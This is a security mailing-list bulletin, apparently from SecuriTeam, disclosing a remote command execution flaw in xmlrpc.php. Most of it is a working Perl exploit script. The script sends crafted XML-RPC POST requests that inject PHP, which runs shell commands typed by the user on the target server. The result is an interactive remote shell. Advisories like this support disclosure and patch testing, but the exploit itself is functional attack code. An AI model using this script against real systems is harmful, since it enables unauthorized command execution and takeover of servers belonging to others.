[EXPL] XMLRPC Remote Commands Execution (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  XMLRPC Remote Commands Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

Lack of parameter filtering by the xmlrpc.php script allows a remote 
attacker to cause the script to execute arbitrary code. The following 
exploit code can be used to test your system for the mentioned 
vulnerability.

DETAILS

Exploit:
#-------------------------------------------------------#
# Original advisory by http://gulftech.org/
# Exploit coded by dukenn (http://asteam.org)
#-------------------------------------------------------#

#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn 
(http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "80") || die "connecterror\n";
 while (1) {
    print '['.$host.']# ';
    $cmd = <STDIN>;
    chop($cmd);
    last if ($cmd eq 'exit');
    $xmldata = "<?xml 
version=\"1.0\"?><methodCall><methodName>test.method" . 
"</methodName><params><param><" . "value><name>',''));echo 
'_begin_\n';echo `".$cmd."`;echo 
'_end_';exit;/*</name></value></param></params></methodCall>";
    print $sock "POST ".$xml." HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Content-Type: text/xml\n";
    print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
    $good=0;
    while ($ans = <$sock>)
       {
        if ($good == 1) { print "$ans"; }
        last if ($ans =~ /^_end_/);
        if ($ans =~ /^_begin_/) { $good = 1; }
       }
      if ($good==0) {print "Exploit Failed\n";exit();}
   }
 }
else {
 print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
 print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}

# EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:info@asteam.org> dukenn.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.